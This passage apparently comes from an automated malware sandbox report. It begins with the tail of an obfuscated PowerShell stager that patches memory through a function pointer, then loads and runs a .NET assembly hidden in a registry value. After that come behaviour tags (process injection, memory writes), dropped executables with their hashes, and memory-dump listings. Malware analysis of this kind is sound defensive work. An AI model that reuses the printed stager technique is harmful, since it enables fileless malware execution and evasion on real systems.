rshal]::GetDelegateForFunctionPointer($JwqyIcQQQXRVHdzWk,$aEYmiuBxjXciNGWbCEZfRT).Invoke($yvdSaWZuegLvuIseQ,[uint32]8,0x20,[ref]$HldDLEImLa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+'T'+'W'+'A'+''+'R'+''+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
                      1⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:3972

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

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                          Downloads

                          powershell.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                          • Size 4KB
                          • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                          • MD5 SHA1 SHA512 SSDEEP

                          ModuleAnalysisCache

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                          • Size 53KB
                          • SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
                          • MD5 SHA1 SHA512 SSDEEP

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 19KB
                          • SHA256 8847904163d5b6056fd2d5aaa20045c6d07d15d8486280ac39a38aab0d762f6e
                          • MD5 SHA1 SHA512 SSDEEP

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
                          • MD5 SHA1 SHA512

                          C4Loader.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                          • Size 1.4MB
                          • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                          • MD5 SHA1 SHA512 SSDEEP

                          C4Loader.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                          • Size 1.4MB
                          • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                          • MD5 SHA1 SHA512 SSDEEP

                          SmartDefRun.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                          • Size 3.7MB
                          • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                          • MD5 SHA1 SHA512 SSDEEP

                          SmartDefRun.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                          • Size 3.7MB
                          • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                          • MD5 SHA1 SHA512 SSDEEP

                          SysApp.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                          • Size 1.4MB
                          • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                          • MD5 SHA1 SHA512 SSDEEP

                          SysApp.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                          • Size 1.4MB
                          • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                          • MD5 SHA1 SHA512 SSDEEP

                          new2.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                          • Size 477KB
                          • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                          • MD5 SHA1 SHA512 SSDEEP

                          new2.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                          • Size 477KB
                          • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/60-245-0x0000019B55A30000-0x0000019B55A51000-memory.dmp

                          memory/60-246-0x0000019B55A60000-0x0000019B55A87000-memory.dmp

                          memory/932-247-0x0000027D779D0000-0x0000027D779F7000-memory.dmp

                          memory/1084-139-0x0000000000400000-0x0000000000405000-memory.dmp

                          memory/1084-133-0x0000000000400000-0x0000000000405000-memory.dmp

                          memory/1904-218-0x00007FFD3E510000-0x00007FFD3EFD1000-memory.dmp

                          memory/1904-219-0x0000011CD9929000-0x0000011CD992F000-memory.dmp

                          memory/1904-221-0x0000011CD9929000-0x0000011CD992F000-memory.dmp

                          memory/1904-220-0x00007FFD3E510000-0x00007FFD3EFD1000-memory.dmp

                          memory/1904-212-0x00007FFD3E510000-0x00007FFD3EFD1000-memory.dmp

                          memory/3156-240-0x00007FFD5CB10000-0x00007FFD5CBCE000-memory.dmp

                          memory/3156-244-0x00007FFD5D810000-0x00007FFD5DA05000-memory.dmp

                          memory/3156-238-0x0000000140000000-0x0000000140029000-memory.dmp

                          memory/3156-235-0x0000000140000000-0x0000000140029000-memory.dmp

                          memory/3156-239-0x00007FFD5D810000-0x00007FFD5DA05000-memory.dmp

                          memory/3476-156-0x00000000071A0000-0x00000000071A8000-memory.dmp

                          memory/3476-154-0x0000000007160000-0x000000000716E000-memory.dmp

                          memory/3476-141-0x0000000004650000-0x0000000004686000-memory.dmp

                          memory/3476-142-0x0000000004DE0000-0x0000000005408000-memory.dmp

                          memory/3476-143-0x0000000004D50000-0x0000000004D72000-memory.dmp

                          memory/3476-144-0x0000000005540000-0x00000000055A6000-memory.dmp

                          memory/3476-145-0x0000000005620000-0x0000000005686000-memory.dmp

                          memory/3476-146-0x0000000005C20000-0x0000000005C3E000-memory.dmp

                          memory/3476-147-0x0000000006BC0000-0x0000000006BF2000-memory.dmp

                          memory/3476-158-0x00000000081D0000-0x0000000008774000-memory.dmp

                          memory/3476-157-0x00000000072C0000-0x00000000072E2000-memory.dmp

                          memory/3476-148-0x0000000073E00000-0x0000000073E4C000-memory.dmp

                          memory/3476-149-0x00000000061D0000-0x00000000061EE000-memory.dmp

                          memory/3476-150-0x00000000075A0000-0x0000000007C1A000-memory.dmp

                          memory/3476-151-0x0000000006F40000-0x0000000006F5A000-memory.dmp

                          memory/3476-152-0x0000000006FB0000-0x0000000006FBA000-memory.dmp

                          memory/3476-153-0x00000000071F0000-0x0000000007286000-memory.dmp

                          memory/3476-155-0x00000000071B0000-0x00000000071CA000-memory.dmp

                          memory/3628-184-0x0000000002950000-0x000000000298C000-memory.dmp

                          memory/3628-209-0x0000000006910000-0x0000000006960000-memory.dmp

                          memory/3628-196-0x0000000005370000-0x000000000538E000-memory.dmp

                          memory/3628-182-0x0000000004EF0000-0x0000000004FFA000-memory.dmp

                          memory/3628-194-0x0000000005090000-0x0000000005106000-memory.dmp

                          memory/3628-171-0x00000000003D0000-0x00000000003F0000-memory.dmp

                          memory/3628-217-0x0000000007230000-0x000000000775C000-memory.dmp

                          memory/3628-216-0x0000000006B30000-0x0000000006CF2000-memory.dmp

                          memory/3628-181-0x0000000002790000-0x00000000027A2000-memory.dmp

                          memory/3628-179-0x0000000005400000-0x0000000005A18000-memory.dmp

                          memory/3972-233-0x00007FFD5D810000-0x00007FFD5DA05000-memory.dmp

                          memory/3972-230-0x00007FFD3E9F0000-0x00007FFD3F4B1000-memory.dmp

                          memory/3972-241-0x00007FFD5D810000-0x00007FFD5DA05000-memory.dmp

                          memory/3972-243-0x00007FFD3E9F0000-0x00007FFD3F4B1000-memory.dmp

                          memory/3972-242-0x00007FFD5CB10000-0x00007FFD5CBCE000-memory.dmp

                          memory/3972-234-0x00007FFD5CB10000-0x00007FFD5CBCE000-memory.dmp

                          memory/3972-231-0x00007FFD3E9F0000-0x00007FFD3F4B1000-memory.dmp

                          memory/4388-197-0x00000244E0570000-0x00000244E058A000-memory.dmp

                          memory/4388-186-0x00000244C5B20000-0x00000244C5B42000-memory.dmp

                          memory/4388-200-0x00000244DF760000-0x00000244DF76A000-memory.dmp

                          memory/4388-199-0x00000244C5D00000-0x00000244C5D06000-memory.dmp

                          memory/4388-198-0x00000244C5CF0000-0x00000244C5CF8000-memory.dmp

                          memory/4388-191-0x00000244E03F0000-0x00000244E040C000-memory.dmp

                          memory/4388-201-0x00007FFD3E510000-0x00007FFD3EFD1000-memory.dmp

                          memory/4388-195-0x00000244C5CE0000-0x00000244C5CEA000-memory.dmp

                          memory/4388-192-0x00007FFD3E510000-0x00007FFD3EFD1000-memory.dmp

                          memory/4388-190-0x00000244C5CB0000-0x00000244C5CBA000-memory.dmp

                          memory/4388-189-0x00000244C5CC0000-0x00000244C5CDC000-memory.dmp

                          memory/4784-174-0x00000000051A0000-0x00000000051AA000-memory.dmp

                          memory/4784-166-0x0000000004E00000-0x0000000004E92000-memory.dmp

                          memory/4784-164-0x0000000000370000-0x00000000004DC000-memory.dmp

                          memory/4920-193-0x00000000026B1000-0x00000000027EE000-memory.dmp

                          memory/4920-232-0x00000000026B1000-0x00000000027EE000-memory.dmp

                          memory/4920-185-0x00000000021A7000-0x00000000026AB000-memory.dmp

                          memory/4920-183-0x00000000026B1000-0x00000000027EE000-memory.dmp

                          memory/4920-180-0x00000000021A7000-0x00000000026AB000-memory.dmp

                          memory/4920-228-0x000000000E310000-0x000000000E367000-memory.dmp

                          memory/4920-226-0x000000000E300000-0x000000000E306000-memory.dmp

                          memory/4920-225-0x000000000E310000-0x000000000E367000-memory.dmp

                          memory/4920-224-0x000000000E310000-0x000000000E367000-memory.dmp